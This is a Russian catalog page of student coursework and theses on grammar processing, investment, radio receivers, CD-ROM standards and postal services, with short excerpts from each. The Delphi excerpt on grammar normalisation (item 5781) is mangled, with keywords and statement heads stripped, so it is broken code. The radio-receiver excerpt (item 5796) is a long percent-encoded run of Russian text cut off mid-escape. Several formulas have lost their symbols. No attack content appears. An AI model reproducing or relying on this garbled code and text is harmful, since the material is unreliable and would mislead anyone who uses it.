Geum.ru

Компьютеры, программирование

  • 5781. Приведение КС-грамматики к нормальному виду
    Дипломная работа пополнение в коллекции 06.01.2012

    {$R *. dfm}TForm1. btn1Click (Sender: TObject);l;. Clear;i: =0 to mmo1. Lines. Count doLength (mmo1. Lines [i]) >2 then begin: = []; s: =mmo1. Lines [i];j: =0 to Length (s) do begin(s [j] in ['А'. 'Я']) or (s [j] in ['а'. 'я']) then mmo1. Lines. Delete (i);: =mm+ [s [j]]; end;(not (s [1] in ['A'. 'Z'])) or (s [2] <>'-') or (' ' in mm) then mmo1. Lines. Delete (i);else mmo1. Lines. Delete (i);i: =0 to mmo1. Lines. Count do begin: =mmo1. Lines [i];: =Pos ('/',s); Delete (s,n,1);: =Pos ('/',s); Delete (s,m,1);(n>0) and (m>0) and (n<m) then begin. Lines. Add (Copy (s,1,n-1));. Lines. Add (Copy (s,1,2) +Copy (s,n,m-n));. Lines. Add (Copy (s,1,2) +Copy (s,m,Length (s) - m+1));l;;n>0 then begin. Lines. Add (Copy (s,1,n-1));. Lines. Add (Copy (s,1,2) +Copy (s,n,Length (s) - n+1));l;;(n=0) and (Length (s) >2) then mmo2. Lines. Add (s);:;i: =0 to mmo2. Lines. Count do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) do if p [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;;TForm1. btn2Click (Sender: TObject);vn2: set of Char;: =mmo2. Lines. Count;i: =0 to v do p [i]: ='';i: =0 to v do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) dop [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;. Clear;: = [];i: =0 to v-1 do if mn [i] = [] then vn: =vn+ [p [i,1]];: = [];: =0;vn<>vn2 do begin: =vn2;i: =0 to V-1 do(mn [i] - vn= [])vn2: =vn2+vn+ [p [i,1]];;i: =0 to v doj: =1 to Length (p [i]) doLength (p [i]) >2 then if (not (p [i,j] in vn)) and (p [i,j] in ['A'. 'Z']) then p [i]: ='';i: =0 to v do begin mn [i]: = [];j: =3 to Length (p [i]) do if p [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [p [i,j]];Length (p [i]) >2 then mmo2. Lines. Add (p [i]);;i: =0 to v do p [i]: ='';i: =0 to mmo2. Lines. Count do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) dop [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;;TForm1. btn3Click (Sender: TObject);: =mmo2. Lines. Count;i: =0 to v do p [i]: ='';i: =0 to v do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) dop [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;. Clear;: = [];i: =0 to 3 doLength (p [i]) >1 then begin vn: =vn+ [p [i,1]] +mn [0]; Break; end;: =0;m<4 do begini: =0 to v doLength (p [i]) >2 thenp [i,1] in vn then vn: =vn+mn [i];(m);;i: =0 to v doj: =0 to Length (p [i]) doLength (p [i]) >2 then if (not (p [i,j] in vn)) and (p [i,j] in ['A'. 'Z']) then p [i]: ='';i: =0 to v doLength (p [i]) >2 then mmo2. Lines. Add (p [i]);i: =0 to v do p [i]: ='';i: =0 to mmo2. Lines. Count do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) dop [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;;TForm1. btn4Click (Sender: TObject);: =mmo2. Lines. Count;i: =0 to v do p [i]: ='';i: =0 to v do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) dop [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;. Clear;: =0;i: =0 to v doLength (p [i]) >2 thenp [i,3] ='e' then begin(j); r [j]: =p [i,1]; p [i]: ='';;: =j; k: =0;i: =1 to n doj: =0 to v do beginLength (p [j]) >1 thenr [i] in mn [j] then begin: =p [j];(s,1,2);: =s;: =Pos (r [i],s);(s,m,1);: =Pos (r [i],s);(m>0) and (l>0) then begin(k);[k+v]: =Copy (p [j],1,2) +s;(k); l: =Pos (r [i],s); Delete (s1,l+1,1);[k+v]: =Copy (p [j],1,2) +s1;(k); l: =Pos (r [i],s1); Delete (s1,l,1);[k+v]: =Copy (p [j],1,2) +s1;;(m>0) and (l=0) then begin(k);[k+v]: =Copy (p [j],1,2) +s;;; end;i: =0 to v+ (k-1) doj: =i+1 to v+k do beginp [i] =p [j] then p [j]: ='';(Length (p [i]) =3) and (p [i,1] =p [i,3]) then p [i]: ='';;i: =0 to v+k doLength (p [i]) >2 then mmo2. Lines. Add (p [i]);i: =0 to v do p [i]: ='';i: =0 to mmo2. Lines. Count do begin p [i]: =mmo2. Lines [i];[i]: = [];j: =3 to Length (p [i]) dop [i,j] in ['A'. 'Z'] then mn [i]: =mn [i] + [P [i,j]];;;TForm1. btn5Click (Sender: TObject);: =mmo2. Lines. Count;i: =0 to v do p [i]: ='';i: =0 to v do p [i]: =mmo2. Lines [i];. Clear;i: =1 to 5 do r [i]: =' '; k: =0;i: =0 to v doLength (p [i]) =3 then(p [i,1] in ['A'. 'Z']) and (p [i,3] in ['A'. 'Z']) and (p [i,1] <>p [i,3]) then begin(k); r [k]: =p [i,1]; r [k+1]: =p [i,3]; p [i]: ='';;i: =1 to k do begin[i]: = [];j: =i+1 to k+1 do[i]: =mn [i] + [r [j]];;: =0; l: =0;i: =1 to k do begin(m);j: =0 to v do(Length (p [j]) >2) and (p [j,1] in mn [m]) then begin(l); p [v+l]: =p [j];[v+l,1]: =r [m]; end;;i: =0 to v+l doLength (p [i]) >2 then mmo2. Lines. Add (p [i]);;TForm1. btn1MouseMove (Sender: TObject; Shift: TShiftState; X,: Integer);. Caption: ='Анализ грамматики';;TForm1. btn2MouseMove (Sender: TObject; Shift: TShiftState; X,: Integer);

  • 5782. Привлечение инностранных инвестиций в инновационное развитие промышленных предприятий
    Курсовой проект пополнение в коллекции 15.03.2008

    ДП «Завод Коагулянт» использует имитационную стратегию. Применение принципов в разработке инновационной стратегии позволяет выделить в качестве ее основополагающих элементов следующие процессы:

    1. совершенствование ранее освоенных продуктов и технологии;
      создание, освоение и использование новых продуктов и процессов;
    2. повышение качественного уровня технико-технологической, научно-исследовательской и опытно-конструкторской базы производства;
    3. увеличение эффективности использования кадрового и информационного потенциала;
    4. совершенствование организации и управления инновационной деятельностью;
    5. рационализация ресурсной базы;
    6. обеспечение экологической безопасности инновационной деятельности;
    7. достижение конкурентных преимуществ инновационного продукта перед аналогичными продуктами на внутреннем и внешнем рынках. Основные положения инновационной стратегии отражаются в соответствующей целевой программе. В ней традиционно выделяются цели, задачи и этапы реализации на перспективу, взаимоувязанные по срокам, ресурсам и исполнителям. Свобода выбора инновационной стратегии ограничивается ранее накопленным опытом инновационной деятельности, результатами использования существующих приемов и методов выбора стратегии в целом и отдельных инновационных проектов, профессионализмом менеджеров, возможностями практического применения результатов предполагаемых проектов. Следует также проводить постоянный анализ адекватности и целесообразности существующей структуры рынков, функций, задач, квалификационного уровня персонала в конкретной хозяйственной ситуации, что очень важно для выработки реальных долгосрочных перспектив развития организации.
  • 5783. Привод вращения параболической антенны
    Курсовой проект пополнение в коллекции 12.09.2012

    Значение А? выбираем в зависимости от числа зубьев колеса z2: А?=20,5 МПа.; ?? - коэффициент, учитывающий диаметр колеса; ориентировочно принимают ??=1,0; ?? - коэффициент, учитывающий состояние поверхности; ?а - амплитуда цикла нормальных напряжений, . Местное напряжение изгиба зубьев, МПа: , коэффициент ? учитывает снижение неравномерности распределения давления по длине зубьев вследствие износа и деформации гибкого колеса, ?=0,5÷0,6; значение коэффициента формы зуба Y2; Т2 - вращающий момент на гибком колесе, Н·мм; ? - угол зацепления, ; d2 - диаметр делительной окружности гибкого колеса, мм; KL - относительная длина гибкой оболочки, ; Е - модуль упругости.

  • 5784. Приводы CD-ROM. Форматы и стандарты
    Доклад пополнение в коллекции 09.12.2008

    Две вышеназванные фирмы сыграли такке ведущую роль приразработке первой спецификации цифровых компакт-дисков - так называемой "Желтой Книги" (Yellow Book). Она послужила основой для создания компакт-дисков с комплексным представлением информации, то есть способных хранить не только звуковые, но также текстовые и графические данные (CD-Digital Audio, CD-DA). При этом привод, читая заголовок диска, сам определял его тип (аудио- или цифровые данные). В этом стандарте, однако, не регламентировались логические и файловые форматы компакт-дисков, поскольку решение этих вопросов было полностью отдано на откуп фирмам-производителям. Это, в частности, означало, что компактдиск, соответствующий требованиям "Желтой Книги", мог работать только на конкретной модели накопителя. Такое положение дел, особенно в связи с большим коммерческим успехом компакт-дисков, разумеется, не могло удовлетворить производителей подобных устройств. В общих интересах необходимо было срочно найти компромисс.

  • 5785. Прием ВЧ ТВ сигнала на ПК, TV-тюнеры
    Реферат пополнение в коллекции 09.12.2008
  • 5786. Прием и выплата электронных переводов
    Информация пополнение в коллекции 28.07.2010

    Почтово-электронные переводы принимаются на бланках ф112. Сумма одного перевода не должна превышать 100 000 рублей. Плата за пересылку перевода дифференцирована в зависимости от пересылки суммы в пределах от 1 до 5% (чем больше пересылаемая сумма, тем меньше тариф за пересылку). Информация о переводах, пересылаемая по ЕСПП. шифруется и защищается особым способом в автоматизированном режиме, исключающем случаи несанкционированного доступа требуют подтверждения на бумажных носителях информации и операторами связи самостоятельно не шифруются. Оформление бланка ф112 остаются в объектах почтовой связи места приема перевода, а переводы оплачиваются по поступившим экземплярам. Внедрение ЕСПП позволяет кардинально перестроить, услуги почтовой связи по пересылке денежных средств за счет отказа от бумажных технологий и использования широких возможностей, современных инфокоммуникационных систем. Технические и технологические решения ЕСПП позволяют создать централизованную систему с электронным обменом информацией в режиме реального времени. Обслуживание клиентуры при этом осуществляется на высоком качественном уровне, с высокой степенью надежности передачи информации и выплатой почтовых переводов в кратчайшие сроки.

  • 5787. Прием почтовых отправлений с описью вложения
    Курсовой проект пополнение в коллекции 25.07.2010

    В зависимости от вида, категории и разряда внутренних почтовых отправлений и почтовых переводов отправитель делает на их адресной стороне следующие отметки (при их отсутствии). На заказных письмах (почтовых карточках) "Заказное". На простых (заказных) бандеролях "Бандероль простая (заказная)", на бандеролях с объявленной ценностью "Бандероль с объявленной ценностью на ... руб.", на бандеролях с объявленной ценностью с описью вложения, кроме того, - "С описью". На письмах с объявленной ценностью "С объявленной ценностью на ... руб.", на письмах с объявленной ценностью с описью вложения, кроме того, - "С описью".

  • 5788. Прием, обработка, выдача "Экспресс" и "ЕМS" почтовых отправлений
    Дипломная работа пополнение в коллекции 30.05.2010

    Примечание: эти предметы могут пересылаться в почтовых отправлениях по специальным свидетельствам, выдаваемым в установленном порядке Федеральной службой России по сохранению культурных ценностей.

    1. Современные сувенирные изделия, предметы культурного назначения серийного и массового производства, изготовленные менее 50 лет назад.
    2. В отправлениях письменной корреспонденции запрещается пересылать предметы непристойного характера.
    3. Всякого рода документы (паспорта, удостоверения личности, трудовые книжки и т.п.), за исключением копий документов и справок, выданных нотариальными конторами.
    4. Семена и посадочный материал и другая подкарантинная продукция растительного происхождения, а также тара, используемая при перевозке растительной продукции при наличии сертификата Государственной инспекции по карантину растений Российской Федерации.
    5. Сырые продукты животного происхождения, колбасы домашнего изготовления, молочные и рыбные продукты.
    6. Предметы, которые по своему характеру или упаковке могут представлять опасность для почтовых работников, пачкать или портить корреспонденцию.
    7. Свежие фрукты и овощи, живые растения, гербарии растений, коллекции живых насекомых.
    8. Биологические препараты.
    9. Чучела, мясо, рога, другие части, а также препараты, изделия и прочие дериваты антилопы сайги принимаются только при наличии специального разрешения на экспорт, выдаваемого Министерством охраны окружающей среды и природных ресурсов Российской Федерации.
  • 5789. Приемная антенна для космической линии связи
    Дипломная работа пополнение в коллекции 27.10.2011
  • 5790. Приемник диспетчерской радиостанции
    Курсовой проект пополнение в коллекции 01.03.2011

     

    1. Конспект лекций по дисциплине “Устройства приема и обработки информации”, Салтыков Е.Н.
    2. Проектирование радиоприемных устройств: Методические указания. Часть 1/ РГРТА; сост. Ю.Н. Паршин, Е.Н. Салтыков; под ред. Ю.Н. Паршина. Рязань, 2003.
    3. Исследование входных цепей: Методические указания к лабораторной работе / РГРТА; сост. А.С. Богданов, В.Н. Двойнин, Е.В. Zyxer/
    4. Справочник по учебному проектированию приемно-усилительных устройств/Белкин М.К., Белинский В.Т., Мазор Ю.Л., Терещук Р.М., Под ред. Д-ра техн. наук М.К. Белкина.Киев: Вища школа, 1982.
    5. Чистяков Н.И., Сидоров В.М. Радиоприемные устройства. Учебник для вузов. М., Связь, 1974.
    6. Радиоприемные устройства. Под ред. проф. А.П.Жуковского. Учебное издание.М.: Высшая школа, 1989.
    7. В.М. Петухов. Транзисторы и их зарубежные аналоги. Справочник. Том 1. М: Радиософт, 1999.
    8. Электронный справочник радиолюбителя.
    9. www.alldatasheet.com
    10. www.datasheetarchive.com
    11. www.datasheetcatalog.com
  • 5791. Приемник радиовещательный 1 класса
    Курсовой проект пополнение в коллекции 28.02.2011

    Постоянство мощности ЧМ и ФМ сигналов существенное преимущество в связи с развитием сети ретрансляторов. Ведь ультракороткие волны слабо огибают земную поверхность, поэтому дальность действия УКВ передатчиков в обычных условиях не намного превосходит дальность прямой видимости. Дальность значительно увеличивается при наличии ретранслятора, а тем более цепочки ретрансляторов, установленных на возвышенных местах. Из-за нелинейности усилительных каскадов ретранслятора слабые сигналы подавляются в нем сильными. Если к тому же сильный сигнал модулирован по амплитуде, то в ретрансляторе возникнет перекрестная модуляция и слабый сигнал так же окажется промодулирован, связь нарушится. При использовании угловой модуляции перекрестная модуляция не возникает. Наличие сильного сигнала приводит лишь к уменьшению коэффициента усиления ретранслятора (забитие), но не нарушает возможности проведения связи. По этой же причине передатчики с угловой модуляцией практически не создают помех телевизионному и радиоприему и значительно меньше мешают близко расположенным радиостанциям по сравнению с АМ и SSB передатчиками.

  • 5792. Приёмник радиовещательный карманный
    Курсовой проект пополнение в коллекции 06.03.2011

    При приеме передач в диапазоне УКВ, радиочастотный сигнал с телескопической антенны поступает на блок УКВ, где происходит его выделение и преобразование в сигнал ПЧ ЧМ (10,7МГц). Входная цепь блока УКВ состоит из входного контура ,L11,L12,VD4,VD5 и антенны. Перестройка по диапазону частот происходит посредством изменения емкости варикапной матрицы (электронной перестройки частоты). Сигнал, выделенный входным контуром, усиливается УВЧ, входящим в состав микросхемы К 174 ХА 15, и через выходной контур УВЧ L18, L19, VD10, VD11 поступает на входной контур смесителя L13, L14, VD2, VD3, входящего в туже микросхему. Избирательность по зеркальному и дополнительному каналам приема обеспечивается в основном контуром входной цепи и контуром УВЧ. Перестройка контура УВЧ по диапазону осуществляется с помощью варикапной матрицы. Сигнал ПЧ - ЧМ через пьезокерамический фильтр Z1 и выходной контур смесителя C17, L20, L21, поступает на вход усилителя ПЧ ЧМ микросхемы К174ХА10, где усиливается усилителем ограничителем и с его нагрузки поступает на квадратурный детектор. С выхода детектора сигнал звуковой частоты поступает на вход усилителя звуковой частоты К174УН18, где и усиливается до необходимой мощности.

  • 5793. Приёмник радиовещательный переносной
    Курсовой проект пополнение в коллекции 03.03.2011

     

    1. Бобров Н.В. Расчёт радиоприёмников. - М.: Радио и Связь, 1981
    2. Справочник по учебному проектированию приёмно-усилительных устройств / М.К. Белкин, В.Т. Белинский, Ю.Л. Мазор, Р.М. Терещук. - К.: Выща школа, 1988
    3. Проектирование радиоприёмных устройств. Под ред.А.П. Сиверса. Учебное пособие для ВУЗов. М., "Советское радио", 1976
    4. Расчёт радиоприёмников. Бобров Н.В. и др.М., Воениздат, 1971
    5. Радиоприёмные устройства. Под ред. проф. А.П. Жуковского, М., "Высшая школа" 1989
    6. Белов И.Ф., Белов В.И. Бытовая приёмно-усилительная аппаратура: Переносные и носимые радиолы, магниторадиолы.: Справочник. - М.: Радио и связь, 1986
    7. Транзисторы для аппаратуры широкого применения: Справочник / К.М. Брежнева, Е.И. Гантман, Т.И. Давыдова и др. Под ред. Б.Л. Перельмана. - М.: Радио и Связь, 1981
    8. Справочник по полупроводниковым диодам, транзисторам и интегральным схемам / Горюнов Н.Н. И др. - М.: "Энергия", 1979
    9. Микросхемы для бытовой радиоаппаратуры: Справочник / И.В. Новаченко и др. - М.: "Радио и Связь", 1989
  • 5794. Приемник радиолокационной станции обнаружения
    Дипломная работа пополнение в коллекции 17.10.2011

    Принцип действия ВАРУ состоит в следующем: напряжение сигнала, отраженного от цели обратно пропорционально второй степени дальности или времени распространения сигнала от РЛС до цели: , где - постоянный коэффициент, зависящий от энергетического потенциала РЛС. Для обеспечения постоянного выходного напряжения коэффициент усиления приемника должен быть изменяющимся во времени по квадратичному закону .Для этого каждый синхроимпульс с периодом повторения , поступающий от модулятора передатчика, запускает схему ВАРУ, которая вырабатывает напряжение регулировки , обеспечивающее изменение коэффициента по квадратичному закону (рис. 13). Обеспечение регулировки усиления по квадратичному закону встречает определенные трудности. Упростить задачу можно регулировкой двух каскадов, каждый из которых имеет линейную регулировочную характеристику. Для этого можно использовать линейную зависимость коэффициента усиления биполярного транзистора от постоянного тока коллектора , которая обеспечивается при малых токах коллектора у транзисторов с большим усилением по току в схеме с общим эммитером. Коэффициент усиления одного каскада с точностью до постоянного множителя : . Поэтому если ток коллектора изменяется по закону , где - максимальный ток каскада, при котором сохраняется линейность регулировки, то коэффициент усиления одного каскада будет линейно зависеть от времени: , где . Соответственно, для двух каскадов , что и обеспечивает требуемое квадратичное изменение регулировочной характеристики.

  • 5795. Приемник службы радиомониторинга
    Курсовой проект пополнение в коллекции 12.03.2011

    В месте приема существуют посторонние электромагнитные поля, создаваемые источниками радиопомех естественного и искусственного происхождения. Эти радиомагнитные поля искажают полезный сигнал и вызывают ошибки в приеме сообщения. Учитывая, что реальные условия приема сигналов изменяются во времени, структура приемника и режимы его элементов должны оптимизироваться, с целью обеспечить минимальную величину ошибки в приеме сообщений. В приемнике могут предусматриваться автоматические регулировки усиления, избирательности, формы характеристик, обеспечивающие адаптацию приемника к изменяющимся условиям приема сигналов. Необходимое усложнение приемника обусловлено повышенными требованиями к качеству приема сообщений. Это усложнение особенно характерно для профессиональных приемников связных, радиолокационных, радионавигационных, телеметрических и других специальных систем.

  • 5796. Приемник УКВ-диапазона
    Дипломная работа пополнение в коллекции 09.07.2012

    %20%d0%bf%d1%80%d0%b8%d0%bd%d0%b8%d0%bc%d0%b0%d1%82%d1%8c%20%d1%81%d0%bb%d0%b0%d0%b1%d1%8b%d0%b5%20%d0%bf%d0%be%20%d0%b8%d0%bd%d1%82%d0%b5%d0%bd%d1%81%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d0%b8%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d1%8b%20%d0%b8%20%d0%ba%d0%be%d0%bb%d0%b8%d1%87%d0%b5%d1%81%d1%82%d0%b2%d0%b5%d0%bd%d0%bd%d1%8b%d0%b9%20%d0%ba%d1%80%d0%b8%d1%82%d0%b5%d1%80%d0%b8%d0%b9%20%d1%8d%d1%82%d0%be%d0%b9%20%d1%81%d0%bf%d0%be%d1%81%d0%be%d0%b1%d0%bd%d0%be%d1%81%d1%82%d0%b8.%20%d0%9f%d0%be%d1%81%d0%bb%d0%b5%d0%b4%d0%bd%d0%b8%d0%b9%20%d0%b2%d0%be%20%d0%bc%d0%bd%d0%be%d0%b3%d0%b8%d1%85%20%d1%81%d0%bb%d1%83%d1%87%d0%b0%d1%8f%d1%85%20%d0%be%d0%bf%d1%80%d0%b5%d0%b4%d0%b5%d0%bb%d1%8f%d0%b5%d1%82%d1%81%d1%8f%20%d0%ba%d0%b0%d0%ba%20%d0%bc%d0%b8%d0%bd%d0%b8%d0%bc%d0%b0%d0%bb%d1%8c%d0%bd%d1%8b%d0%b9%20%d1%83%d1%80%d0%be%d0%b2%d0%b5%d0%bd%d1%8c%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%b0%20%d0%b2%20%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%bd%d0%be%d0%b9%20%d0%b0%d0%bd%d1%82%d0%b5%d0%bd%d0%bd%d0%b5%20(%d1%8d%d0%b4%d1%81,%20%d0%bd%d0%b0%d0%b2%d0%be%d0%b4%d0%b8%d0%bc%d0%b0%d1%8f%20%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%be%d0%bc%20%d0%b2%20%d0%b0%d0%bd%d1%82%d0%b5%d0%bd%d0%bd%d0%b5%20%d0%b8%20%d0%b2%d1%8b%d1%80%d0%b0%d0%b6%d0%b0%d0%b5%d0%bc%d0%b0%d1%8f%20%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%be%20%d0%b2%20%d0%bc%d0%b2%20%d0%b8%d0%bb%d0%b8%20%d0%bc%d0%ba%d0%b2,%20%d0%bb%d0%b8%d0%b1%d0%be%20%d0%bd%d0%b0%d0%bf%d1%80%d1%8f%d0%b6%d1%91%d0%bd%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d0%bf%d0%be%d0%bb%d1%8f%20%d0%b2%d0%b1%d0%bb%d0%b8%d0%b7%d0%b8%20%d0%b0%d0%bd%d1%82%d0%b5%d0%bd%d0%bd%d1%8b,%20%d0%b2%d1%8b%d1%80%d0%b0%d0%b6%d0%b0%d0%b5%d0%bc%d0%b0%d1%8f%20%d0%b2%20%d0%bc%d0%b2/%d0%bc),%20%d0%bf%d1%80%d0%b8%20%d0%ba%d0%be%d1%82%d0%be%d1%80%d0%be%d0%bc%20%d1%81%d0%be%d0%b4%d0%b5%d1%80%d0%b6%d0%b0%d1%89%d0%b0%d1%8f%d1%81%d1%8f%20%d0%b2%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%b5%20%d0%bf%d0%be%d0%bb%d0%b5%d0%b7%d0%bd%d0%b0%d1%8f%20%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f%20%d0%b5%d1%89%d1%91%20%d0%bc%d0%be%d0%b6%d0%b5%d1%82%20%d0%b1%d1%8b%d1%82%d1%8c%20%d0%b2%d0%be%d1%81%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b0%20%d1%81%20%d1%82%d1%80%d0%b5%d0%b1%d1%83%d0%b5%d0%bc%d1%8b%d0%bc%20%d0%ba%d0%b0%d1%87%d0%b5%d1%81%d1%82%d0%b2%d0%be%d0%bc%20(%d1%81%20%d0%b4%d0%be%d1%81%d1%82%d0%b0%d1%82%d0%be%d1%87%d0%bd%d1%8b%d0%bc%d0%b8%20%d0%b3%d1%80%d0%be%d0%bc%d0%ba%d0%be%d1%81%d1%82%d1%8c%d1%8e%20%d0%b7%d0%b2%d1%83%d1%87%d0%b0%d0%bd%d0%b8%d1%8f%20%d0%b8%20%d1%82.%d0%bf.).%20%d0%92%20%d0%bf%d1%80%d0%be%d1%81%d1%82%d0%b5%d0%b9%d1%88%d0%b8%d1%85%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0%d1%85%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d0%b7%d0%b0%d0%b2%d0%b8%d1%81%d0%b8%d1%82%20%d0%b3%d0%bb%d0%b0%d0%b2%d0%bd%d1%8b%d0%bc%20%d0%be%d0%b1%d1%80%d0%b0%d0%b7%d0%be%d0%bc%20%d0%be%d1%82%20%d1%81%d1%82%d0%b5%d0%bf%d0%b5%d0%bd%d0%b8%20%d1%83%d1%81%d0%b8%d0%bb%d0%b5%d0%bd%d0%b8%d1%8f%20%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%be%d0%b2%20%d0%b2%20%d0%bd%d0%b8%d1%85:%20%d1%81%20%d1%83%d0%b2%d0%b5%d0%bb%d0%b8%d1%87%d0%b5%d0%bd%d0%b8%d0%b5%d0%bc%20%d0%ba%d0%be%d1%8d%d1%84%d1%84%d0%b8%d1%86%d0%b8%d0%b5%d0%bd%d1%82%d0%b0%20%d1%83%d1%81%d0%b8%d0%bb%d0%b5%d0%bd%d0%b8%d1%8f%20%d0%bd%d0%be%d1%80%d0%bc%d0%b0%d0%bb%d1%8c%d0%bd%d0%be%d0%b5%20%d0%b2%d0%be%d1%81%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b8%d0%b5%20%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d0%b8%20%d0%b4%d0%be%d1%81%d1%82%d0%b8%d0%b3%d0%b0%d0%b5%d1%82%d1%81%d1%8f%20%d0%bf%d1%80%d0%b8%20%d0%b1%d0%be%d0%bb%d0%b5%d0%b5%20%d1%81%d0%bb%d0%b0%d0%b1%d0%be%d0%bc%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%b5%20(%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d0%b5%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0%20%d1%81%d1%87%d0%b8%d1%82%d0%b0%d0%b5%d1%82%d1%81%d1%8f%20%d0%bf%d1%80%d0%b8%20%d1%8d%d1%82%d0%be%d0%bc%20%d0%b1%d0%be%d0%bb%d0%b5%d0%b5%20%d0%b2%d1%8b%d1%81%d0%be%d0%ba%d0%be%d0%b9).%20%d0%9e%d0%b4%d0%bd%d0%b0%d0%ba%d0%be%20%d0%b2%20%d1%81%d0%bb%d0%be%d0%b6%d0%bd%d1%8b%d1%85%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d0%bd%d1%8b%d1%85%20%d1%83%d1%81%d1%82%d1%80%d0%be%d0%b9%d1%81%d1%82%d0%b2%d0%b0%d1%85%20(%d0%bd%d0%b0%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80,%20%d1%81%d0%b2%d1%8f%d0%b7%d0%bd%d1%8b%d1%85)%20%d1%82%d0%b0%d0%ba%d0%be%d0%b9%20%d0%bf%d1%83%d1%82%d1%8c%20%d0%bf%d0%be%d0%b2%d1%8b%d1%88%d0%b5%d0%bd%d0%b8%d1%8f%20%d1%87%d1%83%d0%b2%d1%81%d1%82%d0%b2%d0%b8%d1%82%d0%b5%d0%bb%d1%8c%d0%bd%d0%be%d1%81%d1%82%d0%b8%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d0%b5%d0%bc%d0%bd%d0%b8%d0%ba%d0%b0%20%d1%82%d0%b5%d1%80%d1%8f%d0%b5%d1%82%20%d1%81%d0%bc%d1%8b%d1%81%d0%bb,%20%d0%bf%d0%be%d1%81%d0%ba%d0%be%d0%bb%d1%8c%d0%ba%d1%83%20%d0%b2%20%d0%bd%d0%b8%d1%85%20%d0%b8%d0%bd%d1%82%d0%b5%d0%bd%d1%81%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d1%8c%20%d0%bf%d0%be%d0%bb%d0%b5%d0%b7%d0%bd%d1%8b%d1%85%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%be%d0%b2%20%d0%bc%d0%be%d0%b6%d0%b5%d1%82%20%d0%be%d0%ba%d0%b0%d0%b7%d0%b0%d1%82%d1%8c%d1%81%d1%8f%20%d1%81%d1%80%d0%b0%d0%b2%d0%bd%d0%b8%d0%bc%d0%be%d0%b9%20%d1%81%20%d0%b8%d0%bd%d1%82%d0%b5%d0%bd%d1%81%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d1%8c%d1%8e%20%d0%b4%d0%b5%d0%b9%d1%81%d1%82%d0%b2%d1%83%d1%8e%d1%89%d0%b8%d1%85%20%d0%bd%d0%b0%20%d0%b0%d0%bd%d1%82%d0%b5%d0%bd%d0%bd%d1%83%20%d0%be%d0%b4%d0%bd%d0%be%d0%b2%d1%80%d0%b5%d0%bc%d0%b5%d0%bd%d0%bd%d0%be%20%d1%81%20%d1%8d%d1%82%d0%b8%d0%bc%d0%b8%20%d1%81%d0%b8%d0%b3%d0%bd%d0%b0%d0%bb%d0%b0%d0%bc%d0%b8%20%d0%b2%d0%bd%d0%b5%d1%88%d0%bd%d0%b8%d1%85%20%d0%bf%d0%be%d0%bc%d0%b5%d1%85%20%d1%80%d0%b0%d0%b4%d0%b8%d0%be%d0%bf%d1%80%d0%b8%d1%91%d0%bc%d1%83%20<http://slovari.yandex.ru/%7E%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8/%D0%91%D0%A1%D0%AD/%D0%9F%D0%BE%D0%BC%D0%B5%D1%85%D0%B8%20%D1%80%D0%B0%D0%B4%D0%B8%D0%BE%D0%BF%D1%80%D0%B8%D1%91%D0%BC%D1%83/>,%20%d0%b8%d1%81%d0%ba%d0%b0%d0%b6%d0%b0%d1%8e%d1%89%d0%b8%d1%85%20%d0%bf%d1%80%d0%b8%d0%bd%d0%b8%d0%bc%d0%b0%d0%b5%d0%bc%d